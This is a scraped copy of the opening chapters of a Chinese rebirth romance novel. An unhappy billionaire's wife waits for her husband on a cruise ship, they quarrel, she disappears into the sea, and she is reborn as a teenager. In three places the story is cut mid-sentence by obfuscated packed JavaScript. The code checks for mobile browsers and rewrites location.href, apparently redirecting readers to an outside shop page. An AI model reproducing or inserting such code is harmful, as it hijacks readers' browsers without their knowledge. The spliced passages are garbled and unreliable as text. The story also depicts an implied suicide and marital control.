《此婚绵绵》 1. 前世(1) 后来许久许久之后,章矜之对自己前世的最后恍惚记忆,是一片幽黑得如淬冷光的海。 这是大西洋上六月末的海。确切地说,是六月午夜的海。 不过最早在傍晚之前,在天际夕阳霞晖的照耀下,白浪翻涌,亿万顷海水如碎金般动荡闪烁着,时有海鸥振翅飞过,一切景象尚且是带着柔和暖意的。 可等到夜幕沉沉时分,海天一色都被笼罩在黑夜中时,那海水就只剩下了幽幽的冷意,像一口深不见底地吞人的魔窟,看得人心中阵阵发寒,无边寂寥。 章矜之就这样在游轮的餐厅里从下午五点坐到了深夜九点,整整四个小时,在自己三十八岁的生日这天,她从日落坐到了月升,只为等待自己丈夫的出现。 今天不仅是她的三十八岁生日,也是她和她丈夫结婚十六周年的纪念日。 月色渐深,或许是餐厅里的冷气打得太足,她慢慢察觉一层寒意侵身,于是将一条灰白色的藏羚羊绒帕什米纳披肩披在了自己身上。 章矜之拢了拢这条披肩,那柔软细腻的羊绒触及到她裸露的双臂和颈后肌肤,温暖的触感终于使她感到稍稍安心。 在这样漫无边际的等待里,她忽然又不免想起了自己的丈夫程愈川。 她想,如果是程愈川从这艘造价十数亿美元的游轮顶层餐厅里眺望远处的海面,在他眼里,这片海水是不必区分什么温度的。 他只会看到这片海很贵,坐在这样的游轮餐厅里,站在他的位置上,从这个视角看到的海面上泛起的每一朵浪花都在翻涌咆哮着金钱的力量,是足以令人安心到忘却世间一切冷暖的,更没什么可抱怨的。 她也应该这样想,对吗? 这艘“翡翠皇后号”游轮是她丈夫送她的三十八岁生日礼物,整座游轮被特意设计为共有十六层楼高,则正是为了纪念他们的结婚十六周年纪念日。 这是一艘崭新的游轮,她是它唯一的主人,是登上它的第一批客人。 早在四年前,她丈夫便承诺要送她一艘游轮作为她三十八岁的生日礼物,——虽然她从未如此暗示或是主动要求过。 他主动承诺要送她游轮,他也绝不食言。 因为这位金主为了博夫人一笑舍得无限砸钱摆平难关、预定全球顶级船厂的船坞档期,把游轮从初期的合同签订、详细设计、核心设备订购再到最后的海试、整改、交付阶段都加急到了极限,十数亿美元砸下去后,果真在四年内于海上平地起高楼,一艘16层高的豪华游轮一根螺丝都不差地送到了程夫人的面前。 可她要的是这个吗? 在这个夜晚,章矜之觉得自己和程愈川之间隔了一堵深深的雾墙。 他们在雾气的两端,渐行渐远,两人的容颜也在浓雾中逐渐模糊,谁也不识彼此模样。 她从未如此清晰地发现自己已经看不透他了。 为什么?为什么他愿意用四年的时间花十几亿美元造一艘游轮送给她,却不愿意腾出四个小时的时间过来陪陪她? 明明他答应了她会来为她庆生,会和她过结婚纪念日,可她在这里等了他四个小时,如冷宫里的妃子日复一日地期盼皇帝的驾临一般卑微。 坐在这里的每一秒钟章矜之都觉得如鲠在喉,仿佛自己在这桩婚姻里的尊严被寸寸消融,直到她会彻底沦为冷宫中一个疯疯癫癫的失宠女人。 ——你知道吗?事实上,冷宫里的女人真的再也等不来皇帝的宠幸,就像她也不明白自己到底做错了什么,可她的丈夫的确不再如从前那般爱她了。 他们约好在今天共进晚餐,也约好看一次海上的落日。 四个小时前,她来到了餐厅,但并未见到自己丈夫的身影,那时她已经猜到了他会食言、迟到。 他的时间是宝贵的,而她则可有可无,她永远是他密密麻麻行程规划里可以被丢到一边的无关紧要的选项。 她给程愈川发了消息,询问他什么时候过来,但这条消息发出去并未得到回复。 不过几分钟后,他的助理给她打来电话,小心翼翼地告诉她说,程先生现在还有临时会议,劳请她在这里多等一会儿。 她微笑,心下了然。 这样的事情在过去数年来已经发生过无数次,不知道从什么时候开始,她这个名义上的妻子连和自己丈夫的联系都变得格外奢侈。 她活在他的监视和掌控之下,里里外外的保姆、司机、保镖们会将她每日的饮食起居、行踪动向一字不差地汇报到他那里去,即便他们常年分居,他仍然对她的一切了如指掌; 而对于这位和她聚少离多的丈夫的日常工作生活,章矜之却知之甚少,偶尔想要和他联系,电话和消息也甚少能得到他的及时回复,她总要问及他的秘书助理们才能知道他彼时正在忙些什么。 她的丈夫确实很忙,她虽对金融之类的事情只有一知半解,却也知道他和他集团的吞金能力有多恐怖。 至少就在上周,他还刚带着他的集团在国际金融市场里攫取了上百亿元的财富,完成了又一场对某大型跨国公司令人叹为观止的猎杀。 他为了这些“正事”而冷落她这个妻子,实乃再正常不过了。 游轮继续在大西洋上平稳地行驶着,夜幕中的一轮银月在云层中若隐若现,海面上时而浮着一层纱缎般的银辉。 餐厅一侧的玻璃落地窗上朦胧迷离地映出一个女人恍若镜花水月般美丽的身影。 她穿了一身裁剪得宜的酒红色鱼尾缎面礼裙,昂贵布料上每一道弯折的褶皱都潋滟着万种婀娜风情,勾勒着的她的身体柔婉纤细而不失韧气。 这样的女人当然有一张绝不会因岁月流逝而轻易黯淡的面孔,她自幼养尊处优,家境优渥,半生没有受过一点尘世里的磋磨,所以,她的容颜神韵里也总带着那种浑然天成的贵气自宜。 她也有一双宝光璀璨的眼眸,这双眼睛美得更甚她耳上佩戴的那对红宝石钻石耳环闪耀的火彩,虽然此时似乎略微失了点往日的神采,然而她整个人依然美如甜白釉描金柳叶瓷瓶里盛着的一枝红艳露凝香。 不知什么时候侍者拉开了餐厅的门,程愈川走进来时,眉宇间还带着些许繁忙工作后的倦怠之意,他抬手捏了捏自己的眉心,当看到餐桌的对面坐着的那个女人时,眼底不由浮现一点淡淡的温柔情意。 他看着面前的章矜之,忽然有一瞬间想到的却是二十年前,她十八岁生日那晚的样子。 ……他得到她已经整整二十年了吗? 程愈川慢慢走到了章矜之跟前,在她对面坐下,他的目光从她纤长的脖颈游移到腰肢。 哪怕已经二十年了,她的美丽依然令他有片刻的失神。 “矜之, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055006|194856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你今天很漂亮。” 这是他对她说的第一句话。 和她说话时,他下意识地去摸了一下戴在无名指上的那只银质的婚戒。 常年分居两国、聚少离多的夫妻,难得有在一起的时候,开口第一句话先表达他对她的赞美,他想这总归是没有错的。 这一刻,时钟指向了深夜九点。 距离她的生日过去,还剩下三个小时。 章矜之游离在外的神思被拉了回来,她的眼睛望向自己的丈夫,同样是三十八岁的年纪,他亦挺拔清俊一如她记忆中往昔模样,意气风发,英气依然。 或许是刚结束一场繁重的会议,他仍穿着一件深灰色的衬衫,不过此刻的姿态倒散漫随意,并没有打领带,挽着一截袖口,领口的扣子也敞开了几颗。 对他来说,这只是一顿简单的晚餐而已。 她轻声回应他:“谢谢。” 等了四个小时,她等来的是一句客套疏离的对她皮囊的夸赞,甚至都没有一句致歉。 他不解释他迟到的缘由,也不认为他有道歉的义务。 说完这句话后,两人俱是沉默,一时间再无旁话。 章矜之没有说话,他也不开口,气氛一时间竟有些诡异的尴尬。 他们哪像是一对共度结婚纪念日的夫妻?说是陌生人也不过如此了。 还是餐厅的侍者出现,小心翼翼地过来上菜,这才打破了这莫名出现的僵局。 侍者小心翼翼地先在餐桌上放下一碟黑松露沙拉,程愈川的动作顿了顿,视线仍是落在章矜之拿着餐具的双手上,漫不经心地想要和她攀谈, “我记得你以前不喜欢吃松露。” 章矜之没抬头:“是吗?那是我三十岁之前的事情了。” 从前她的确觉得这东西尝起来怪怪的,后来到A大任职,同事聚餐的时候带她去了家风味更独特的西餐厅,她反倒有些喜欢上松露的味道了。 她话里带着冷淡和浓浓的倦怠感,浑身上下包括每一根发丝都透着拒人于千里之外的意思。 程愈川沉默了几秒,垂下眼帘,又轻声问她:“矜之,你今天是不是有点累了?” 章矜之终于放下了手里的银质餐具,她目光冷艳若寒霜,直直地望向他: “你知不知道我坐在这里等了你四个小时,我当然累,我累到身心俱疲。” ——今晚所有气氛的崩坏都是从这句话开始的。 这也是他们此生的最后一次争吵。 在她扔下这句话后,她丈夫的神色微微冷了下来,表情也是不悦的。 “你累?矜之,我现在也很累。是,我们都很累,我理解你,也请你理解我一点。所以,——我们现在应该坐在这里,好好休息一下,好好用一顿晚餐,我希望你能开心一点,可以吗?” 他总是习惯用这种居高临下、发号施令般的语气来应付她的委屈。 在他的语境里,仿佛她只是个胡搅蛮缠、刁钻任性的长不大的小姑娘,仿佛她的心性永远没有成熟。 章矜之惟有冷笑对他:“是啊,我们都很累,这十几年来我没有一天不累的!” 男人永远不会明白,女人对一桩婚姻的绝望为什么总会在看似无关紧要的地方陡然爆发出来。 她又说, “那我们还是离婚吧。” 2. 前世(2) 离婚。 又是离婚。 这几年里,程愈川已经被她逼到了只要听到这个词语就会下意识头疼烦躁的地步了。 或许每一对夫妻闹离婚时候的流程都是大同小异的。 大部分时候这两个字往往从女人的嘴里先说出来,而且她第一次提出时,男人总会当成是玩笑话,只当她是又发了小性子闹脾气。 头一回提离婚的时候,他们或许还是愿意哄一哄自己的妻子,假装去挽救一下这场即将崩溃的婚姻。 等到后面女人越来越频繁地再提到这个词时,男人便早已失去了初次时的耐心,只会用一种冷漠而倦乏的眼神看着那个不知好歹的“疯女人”,用冷暴力来瓦解女人想要离婚的斗志。 而后这个女人闹够了,消停了,没有力气再喊离婚了,他们又会露出那样志得意满的神情。 ——看吧,我说的是对的,她只是在不知好歹地胡闹而已,她不会真的想和我离婚的。 程愈川早已忘记章矜之第一次和他提出离婚是在什么时候,但和大部分男人一样,当这个词语头一次从章矜之的嘴里冒出来时,他便被吓得不轻,当即放下手头的一切工作,连夜乘私人飞机从纽约飞回国内去哄她。 后来呢? 后来她再如何闹,他也只会冷冷地劝她冷静一点。 他们之间的各种利益绑定得太深了,哪怕这些年连孩子都没有一个,可离婚也不是件容易的事情,于公于私,他都不会陪她胡作下去。 更何况…… 他在心中冷笑,就算他同意离婚,章矜之自己的家人都不会答应章矜之发这个疯的。 这些年来,他刻意允许章矜之家里几乎所有的近亲远戚都趴在他身上吸血,她的堂的表的姑姑舅舅叔叔伯伯婶婶各种亲人拖家带口地都在他集团旗下世界各地各种分公司里任职捞金。 他为什么好端端要去当这个大善人大财主?他不就是为了把她和她全家都牢牢绑在他身上,不就是为了怕她轻易张嘴提离婚? 她怎么敢和他离婚? 他会让她一辈子都离不了他。 程愈川飘离在过往的思绪被章矜之的声音拉回了现实。 她还在继续着刚才的争吵。 “你累?你为什么累?因为你明知道今天是你妻子的生日、是你们结婚十六年的纪念日,可你就是非要在这一天继续忙你的工作开你的会,你连哪怕一天的时间都不愿意完完整整地分享给我,因为你有赚不完的钱,每一分钱都比你的婚姻更重要,所以你累!” “而我的累,都是你带给我的,是你把我喊来这里说要为我庆生,也是你把我扔在这里四五个小时,让我在这里等着你,像冷宫里疯了的妃子在等待一个永远不会出现的皇帝的宠幸?因为你,把我逼成这个样子!” 他还是那样散漫的姿态靠坐在柔软的真皮椅背上,听到章矜之无休无止地愤怒与抱怨,他垂首,又忍不住抬手捏了捏自己的眉心。 夫妻两性*关系里,男人这个动作给女人的意思是: ——我不想再听你说话了,我觉得你是个无法沟通交流的疯女人。我被这个疯女人折磨得很痛苦。 章矜之到底已经三十八岁,不再是个十八岁的小姑娘,她当然看得懂他的肢体语言。 可这就是她自己从十八岁时就选择的男人啊。 说不出来到底是什么使她绝望和不甘,可她就是泪如雨下,低声哽咽抽泣起来。 听到章矜之的哭声,程愈川到底不能对她的眼泪视若无物,他默默将纸巾递了过去,章矜之没接。 他看着她哭,心头也是万般难言的不解,他也不明白,他到底做错了什么,为什么他的婚姻会变成这般一地狼藉的模样? 程愈川低低地叹了口气,俨然还是一副想要和章矜之好好讲道理的模样: “矜矜,我从来没有要求你在这里等我。明明你也可以去做你自己的事情,不是吗?” “游轮上有很多准备好了为你服务的人,你可以去看电影、做美容,可以游泳、按摩、玩各种娱乐项目。甚至,我还为你带来了你喜欢的演员、歌星、导演他们,你可以让你喜欢的歌手为你表演解闷,也可以让你喜欢的导演给你讲讲他们的新剧本,选一个你喜欢的故事,挑几个你喜欢的演员,我去投资,给你拍你喜欢看的电影。” 他循循善诱,“你看,你可以去做很多很多让你开心、高兴的事情,是你自己把你的时间约束在了这间餐厅里,是你自己非要在这里等我,闹得你自己也不开心。你到底是在惩罚我,还是在惩罚你自己?” “矜矜,你知道我很忙,你明知道我的时间不可能全部放在你身上,我也尽力弥补你了,你为什么非要这样折磨我们彼此?折磨我,也折磨你自己。” 他说他已经尽力用钱来弥补她了。 可是我想要的就是你的时间啊! 章矜之在心底无声呐喊,我只是想要你这一天的时间,难道也很过分吗? 你连我过生日这一天的时间都不肯完完整整地分享给我,你不是说爱我吗,为什么待我如此苛刻? 他厌恶她的娇纵任性,她何尝不恨他的过分冷静理智? 所有人从他的叙事语境里窥视他们的这桩婚姻,都只会看到一个不知好歹似乎被宠坏了的妻子,只会看到是她在无理取闹,无事生非,娇纵任性。 毕竟程愈川给足了她钱。 只要钱给够了,女人敢有半分不满,那都是“身在福中不知福”,都是不识抬举。 可是……她最初跟他在一起的时候,他只是个举目无亲、一无所有的穷小子,而她才是家资数千万、父母皆外企高管的中产家庭独生女大小姐啊。 她最开始图的就不是他的钱,她想要的并不是这个,现在他为什么要一直用钱来羞辱她? 不知哭了多久,章矜之慢慢止住了眼泪。 她一言不发地摘下自己的两只耳环,又取下了佩戴的钻石项链,还有手上的手链,最后是自己无名指上的那枚婚戒。 程愈川面色阴郁地看着她的动作,一声不吭。 章矜之把自己身上的所有首饰放在冰冷的餐桌上,推了过去,摆在他面前, “程愈川,我没有想折磨你,从很多年前我发现我们不适合在一起时,我就没想折磨你。” “你明知道我一直都想和你离婚,想放你离开我这个不可理喻的疯女人,可是不同意离婚的人是你,一直是你!是你不肯放我自由。” 她勾唇一笑,也同样用钱来羞辱他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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餐厅的门再度被关上,只剩下章矜之一个人待在里面。 这一次她哭得更加无助,哽咽到不能自已。 再后来,眼泪也哭干了,她又默默地坐在这寂寥的餐厅里,出神地发着呆。 他们又一次在争吵后不欢而散,这一次,他甚至还没有对她说一声生日快乐。 这就是她的婚姻。她被困在了这个可怕的笼子里,永远不得自由。 等到她哪天死了,哪怕她的尸体还落在程愈川手里,她都会被他埋在他买下修建好了的家族墓园里。 不过是从一个装活人的笼子被移到装死人的笼子里罢了。 海面上的夜色也更深了。 章矜之远远地往海面上望去,看到的惟有一片冰冷的大洋,像是能够吞噬一切的噩梦。 她脑海中忽然闪过许多荒唐的念头。 她又想,如果一切可以推倒重来,如果她当初没有选择程愈川,现在三十八岁的她会幸福吗? 她远远地凝视着无边无垠的海面,或许在某个角落, 一朵黑色的浪花也正在悄然凝视着十六层高楼之上的她。 3. 前世(3) 从餐厅出来后,程愈川回到了他在游轮上的临时办公室,继续面无表情地处理起了他的工作。 这些年他的繁忙工作主要分为两大类,一类确确实实是避无可避的工作,另一类,完全是他用来在失败的婚姻生活里麻痹自己的工具。 他和章矜之聚少离多也不是一天两天的事情了,夫妻情意疏离更是由来已久,每每和章矜之闹过这样的不愉快后,他便更加习惯于用繁重枯燥的工作来封闭自己的内心、转移自己的注意力。 今天也不外乎如此。 在办公桌前一坐就是近两个小时,他的心绪慢慢从那场激烈的争执中平静了下来,脑海中下意识地又想到了章矜之。 她的美丽,她的委屈,还有她的泪。 她今天已经为他盛装打扮过,如果没有这场不愉快,那他们今夜本该度过一个难得的美好的夜晚。 他忽然后悔起来,后悔为什么今天一定要和法国人开那场会,为什么要耽搁了四个小时的时间。 心底的某个角落里,他竟隐隐也觉得章矜之的委屈是应该的。 三十八岁生日的今天,她穿了酒红色的鱼尾礼裙。 可他还记得她十八岁成人礼的生日时,穿的是一身雪白纱缎的公主裙。 那时候他还没有资格为她庆生,是她的父母家人在酒店里为她庆贺成年。 可也是在这样一个夜晚,在她父母家人宾客尽散去后,她穿着那身公主裙,披着一件大衣外套,带着独属于少女的一腔无畏爱意,独自一人打车来到了他租住的出租屋里找他。 她扑进他怀里,他们在盛夏的深夜里诉说对彼此的爱意,他还记得月色下她的裙子上流淌着银晖一般柔和的光彩。 娇生惯养的公主主动来到了他这个穷小子的身边。 在那个夜晚,在她的主动和默许之下,他得到了她,那时他还很生涩莽撞,他还记得她雪白裙摆上沾染的斑驳血痕污秽。 转眼已过二十年。 他似乎没有让二十年前的那个女孩过得很幸福,现在的她满心怨怼委屈,看向他的眼睛里也没了从前的爱意,她过得很不开心。 他的心忽然抽痛了一下,他想起自己今天连一声生日快乐都还没有对她说。 于是程愈川最终还是决定折返回到餐厅里去找她。 他想,不论如何,至少他应该为她送上生日祝福。 也该和她说声对不起。 从办公室出来时,他还给章矜之发了一条消息,询问她现在在哪里。 她六个多小时之前给他发的消息,他当时也没来得及回,不过现在回也没有意义了,他索性直接略过。 而他发给章矜之的那条消息,最终也没得到回复。 所以到餐厅门口时,程愈川还问了一声一直守在门前的侍者: “夫人还待在里面吗?” 侍者低声答是:“从您走了之后,夫人一直在里面,没有出来过,也没有要求我们送东西进去。” 所以到这个时候,她在里面又待了两个小时了。 程愈川的心脏忽然又是一阵抽痛。 这次的痛感来的尤为强烈,他隐隐感到一股强烈的不安,仿佛生命中最重要的什么正在抽离他的身体,永远的弃他而去。 这一刻,他已然放下了他的怒火和烦躁,对餐厅内的那个女人只余浓浓的愧疚和心疼。 是他的错,他不该这样冷落她,不该让她在她生日这一天这样生气。 刚才的两个小时,在他们争吵过后,她一个人待在餐厅里,该有多委屈啊? 程愈川示意侍者去开门,他吐出一口浊气,理了理自己的袖口,甚至在进入餐厅的前一分钟,他已想好了自己再见到章矜之时该如何向她道歉。 许多年来,他从未像此刻这般心疼她。 他还想,其实他的工作也并非这样重要,如果章矜之愿意,他可以腾出半个月的时间陪她去各地旅游、重渡蜜月时光,修补夫妻情意。 就像大学时期,他们感情最好的时候那样。 一切都还是可以挽回补救的。 然而,就在餐厅门被打开的那一瞬间,程愈川那永远四平八稳、从容不迫的神情,第一次彻底崩塌了。 ……因为那餐厅里空无一人,一片诡异如虚空般的安静。 他面色瞬间紧绷扭曲。 紧接着,他注意到了章矜之留在餐厅里的东西。 她的那条帕什米纳披肩,她的手机,还有她先前摘下来的耳环、项链、手链和钻戒,都静静地搁置在餐桌上。 她的东西都还在这里。 仿佛它们的主人并没有走远,只是中途去了趟洗手间,还会再回来一样。 可他心里清楚,有什么事情已经变得不一样了。 餐厅一侧的玻璃窗户大开着,像是在海天交际之处撕开了帷幕,破开了一个漆黑的血洞,幽幽地不知要往里面吞噬些什么。 海风灌进室内,风声呼呼作响,那条柔软的藏羚羊绒披肩一半还在桌上,另一半就在空中飘动飞舞着,宛如一只追魂索命的幽灵在扭动身躯。 整个世界黑得吓人、也凄厉得吓人。 章矜之不见了。 他的眼前是一片空洞的虚无。 下一刻,他僵硬地回身攥住守在门口的侍者,声音嘶哑冰冷,一字一句低声问: “我夫人呢?我夫人呢!你确定,她一直待在里面,从来没有出去过?” 到这时,虽然某种可怕的猜想还没有被最终盖棺定论,但人天生本能的直觉其实早已意识到了什么。 那个侍者也被吓得浑身瘫软,喃喃重复道: “我确定、我确定,夫人就是没有出去过,真的,真的……” 程愈川的双手撑在餐桌桌面上,死死盯着面前的几样东西,蓦然间,他注意到了一滩水渍。 那是章矜之的泪。 三十八年来,他第一次感到回天乏术般的无可奈何,第一次感到如此恐惧。 就在这一瞬间,千千万万种念头闯进他的脑海里,他痛苦又麻木到连他自己都不知道自己此刻在想些什么。 两个小时了。 已经两个小时过去了,在这样漆黑浩茫的大海上,若真的发生了最坏的可能…… 他能把她的尸体捞回来一块都算是上苍垂幸。 他又恍然回过神,呕出了喉间的一口血,那片血渍落在章矜之的眼泪上。 他随意地擦了擦唇角,咬牙切齿地唤来人,在这座海上城堡里焦躁不安地发号施令。 · 今夜这艘“翡翠皇后号”游轮上注定是个恐怖的不眠之夜。 程愈川浑浑噩噩地强打起精神来,让人把整艘游轮上上下下十六层楼都给翻了个遍,可这样一艘庞大的海上宫殿,又不是什么三室一厅两卫的商品房,想短时间内把它翻查一遍谈何容易,他提出的要求无异于是让人海里捞针。 况且游轮上的一部分人力又被他派去驾驶救生艇,沿着游轮在海上行驶的方向回头寻找章矜之的踪迹,本身人手就不够用了。 于是伴随着这种嘈杂和喧哗,整艘游轮笼罩在程愈川的绝望之下,竟显得颇有一种世界末日来临前的秩序崩塌之感。 游轮上还有他的众多下属,员工,合作伙伴,生意场上的朋友,甚至还不乏一些社会名流,他找来陪章矜之解闷的演员、歌星、导演、编剧、制片人,还有各种高定服装设计师、珠宝设计师…… 现在游轮上的动静一闹,这些人一个挨着一个很快全都被惊醒,个个堪称是目瞪口呆地看着这场惊世闹剧。 到底失踪的这个女人不仅是这艘游轮的女主人,还是千亿富豪的夫人,身上牵着至少百亿美元的资产,在他们眼里当然不是条普通的人命。 有人揉着惺忪的睡眼询问游轮上到底发生了什么事,一句言简意赅的“程夫人跳海了”被翻译成英语、法语、德语、西语后迅速在所有人之间传遍。 他们在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055008|194856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 游轮上的一间奢华宽敞的舞会大厅里找到了程愈川。 没人能想象到不过短短几个小时的时间里,他竟变成了这般狼狈落魄的潦倒模样。 他仍穿着那件质地金贵的缎面深灰色衬衫,但或许是他随手洗了把脸试图让自己冷静过,此时这件衬衫上沾了一团水痕和斑驳的血痕,看上去分外骇人,衬衫皱皱巴巴地包裹在他身上,像一块遍布狼藉的廉价布料。 彼时程愈川正双手颤抖地靠在大厅的墙壁上打着什么电话,大概意思是不惜一切代价找人花钱去调动直升机、救援艇等各种资源去寻找他的妻子。 说话时,他的声音都在不自觉地发颤,甚至几度哽咽。 再无往日那身居高位、不可一世的气场了。 在场的众人里,见到这一场面内心受到冲击最大的当属北美电影圈里的一位大咖霍华德导演。 他正是近期签约到了程愈川的汉鹰集团旗下影视业公司里,也正在筹备他在这家公司的第一部电影。 就在今天早上,程愈川还曾抽空和他见了一面,这也是他和程愈川见的第一面。 在正式见面之前,霍华德导演对这个男人的所有认识只来自于旁人口中的介绍。 他知道这是位颇有魄力、手腕铁血的中国商人,听说他并无家族背景,甚至出身堪称清贫,却靠着白手起家的本事创下了一个又一个商业奇迹,还不到四十岁,便以异常惊人的速度积累起了近千亿美金的资产,实在是年轻有为,后生可畏。 又听业内同行说,程先生和他那位深居简出的夫人感情极好,夫妻恩爱,是学生时代就相恋的彼此的初恋,又一路走到如今,堪称难得。 这位程先生私下的生活也可称正派,哪怕是集团内的高管们私下聚在一起议论几句,也没人能说出他有什么不为人知的混乱男女关系,既没有像大部分男人有钱之后就养了二房三房开始生私生子,也没有隔三差五和模特明星们有什么不正当的暧昧往来。 而今天早上霍华德导演与程愈川见面时,他见到的这位程先生就穿着现在这件衬衫,手工裁剪得笔挺的西装裤,他在一群集团高管的簇拥下走过来,漫不经心地在他面前坐下,矜贵淡漠,那时的他眼神里还隐隐带着久居上位者的不可一世之气,不过对他的态度倒还算和善。 程先生说,他愿意投资他去拍一部背景落地于拜占庭帝国时期的史诗电影,拍一部也好,拍成三部曲四部曲的续集也没问题,只要电影的质量能做得尽可能的好,投资的资金都是好说的,想要多少他都可以掏,想要什么烧钱的、庞大的布景他都可以满足,而且他也不在乎电影后续的票房收入和反响。 霍华德导演当时还万般惊讶,惊讶到以为自己简直是在梦游,毕竟他在业内沉浮几十载,从来没听说过那个投资方是不在乎电影票房的。 但面对他的疑问,程先生却只是淡淡一笑: “我妻子是历史学者,她对拜占庭史很有研究,她希望可以再看到一部关于拜占庭史的优秀的影片,而我希望她能开心,我还希望她的才华可以得到施展,我想她可以担任你电影的历史研究顾问之一。所以,我在乎的不是后续的票房,而是你的电影能不能让我妻子喜欢。这是我为我妻子准备的生日礼物,我想你今天抽个空可以去和我妻子沟通一下你的电影创作方向。” 财大气粗,钱多阔绰,挺拔俊美,夫妻恩爱,家庭幸福。 真是个千载难逢的东方大金主。 这就是霍华德导演在十几个小时前对程愈川的印象。 但现在,这个男人在他面前,活生生变成了一个神智几近失常的疯子。 霍华德导演心中忽然升起一个莫名可怕的联想, 他的电影已经不用拍了,真正陨落的拜占庭正在他眼前。 眼前这艘庞奢华靡丽的“翡翠皇后号”游轮,还有程愈川创造的数额惊世的庞大家族财富,此刻随着那个女人的“失踪”,其实已如1453年帝国的君士坦丁堡一般,彻底陷落了。 4. 翡翠公主 拜占庭帝国灭亡的几十年后,在地球的另一端,1492年,哥伦布发现了美洲新大陆,世界的历史又被掀开了新的一页。 所以,什么是真正的开始,什么才是彻底的结束? · 章矜之慢吞吞地放下了手里的书,在“翡翠公主号”游轮上眺望着远处的幽蓝深海。 海风拂面,带着一点夏日的温热气息,章矜之阖上眼睛轻轻叹了口气。 韩复宇吊儿郎当地端着两杯酒吧调酒师调制好的鸡尾酒过来,忽然出现在她身后,把其中一杯搁在章矜之面前的圆桌上: “公主,游轮上您还看书呐?您也太刻苦了点吧?” 章矜之回头瞥了眼那杯充满盛夏风情的碧绿颜色的鸡尾酒,金黄的柠檬片点缀着无尽的夏日狂欢气息。 她自顾自地取出一旁自己的墨镜戴上,全然一副高冷不想搭理他的神情: “未成年人不能饮酒,你给我走开。” 韩复宇笑意愈深,贱嗖嗖地把鸡尾酒往她面前推了推:“这杯酒的名字就叫‘翡翠公主’,是这艘游轮的周边限定款哦,公主你不尝尝吗?” 章矜之还是不理。 韩复宇只好无奈叹了口气,“我让调酒师把伏特加换成娃哈哈了,现在里面只有果汁兑汽水的味道。为这,我还被那调酒的英国小哥狠狠嘲笑了一顿,你还不肯领情?” 最终章矜之拗不过他的一再坚持,还是受了他的“好意”,端起那只马天尼酒杯,轻轻抿了一口,结果入口便是极辛辣的伏特加气息,猝不及防地把她呛了一下。 她难得恼羞成怒地放下酒杯,抄起手边的书就在韩复宇身上不轻不重地砸了一下:“我要告诉姑姑和姑父!” 韩复宇大笑着躲开,正是少年意气的年纪,玩心颇重, “金枝公主,没办法,我这种死里逃生过一次的人就喜欢及时行乐,有酒不喝枉少年啊,都公海上了,你还这么端着做什么?竞争太平洋区三好学生五好少年?” 韩复宇是章矜之姑姑家的表哥。 章矜之的姑姑章琦因为身体原因不能生育,所以便打算领养一个孩子,后来又遇上十几年前外省爆发了一次很大规模的地震,灾后许多失去父母家人的孩子便去了福利院待人领养,韩复宇遂因此来到了章家。 初被领养回来时韩复宇经常待在外公外婆家里,那时他还很胆小,又因为跨省的口音问题,他也不怎样愿意和大人交流,整个人显得闷闷的,就跟快要枯萎了似的。 碰巧那时章矜之常年跟随自己的爷爷奶奶一起生活,表兄妹两人就这么碰上了,俩孩子竟然渐渐玩到了一起去,感情好得不得了,韩复宇小的时候最喜欢黏着章矜之,章矜之也最乐意和他在一块玩。 在章矜之众多堂的表的兄弟姐妹里,唯独她和韩复宇是关系最亲密的一对青梅竹马好兄妹。 每每听到韩复宇以他曾经在地震中“死里逃生”过一回的事情作为偶尔行事出格些的理由,全家人总会对他狠不下心来,往往也就由着他胡闹去了。 章矜之同样如此。 是以,韩复宇也就被养出了这副玩世不恭吊儿郎当的公子哥性子。 当然,在每一个“重生”的故事里,那个侥幸重生的人再回望自己身边的所有人时,想到的一般不再是“我和他们从前关系怎么样”,而是“他们后来是怎样对我的”。 章矜之也不能免俗。 他后来是怎样对我的? 现在再想想,她对韩复宇唯有满心的感激。 前世的后来,当她一再和程愈川闹起离婚时,连同她的父母在内,全家亲戚都拦着她不许她离开程愈川,不管是姑姑舅妈还是堂叔表大爷,大伯的小舅子的二表弟,爷爷的表妹的三儿媳,全家数得上号、数不上号的近亲远戚都苦口婆心地拦着她,不准她离婚。 因为他们都是程愈川养着的,都在吃程愈川施舍的饭。 程愈川有那样庞大的集团,他涉足的产业遍布金融、电子、服装、食品、传媒各大行业,她家里真真假假乱七八糟的各种亲戚拖家带口都被塞了进去谋了个大小差事,所有人都等着要靠程愈川来吃饭。 谁能舍得她和这个大金主离婚? 别说是金主本人压根不想和她离婚了,用章矜之一个表姨的话来说,她跟了程愈川那么多年,就算程愈川在外面有别的女人了,就算他私生子都生了一屋子了,就算程愈川逼她和他离婚,她也绝对不能和他离婚,不能便宜了他! 她曾经哭着和家人说过她不快乐,她和程愈川在一起并不幸福,可是这句话无人在意。 前世,她后来那似有似无的抑郁,大多也是被自己的身边人给逼出来的。 唯独韩复宇和他们不一样。 韩复宇不靠着程愈川讨饭吃,十几年来他也坚决不要程愈川给的任何好处,只有他一个人独来独往,最后也只有他支持她这个表妹离婚。 只有他对她说, 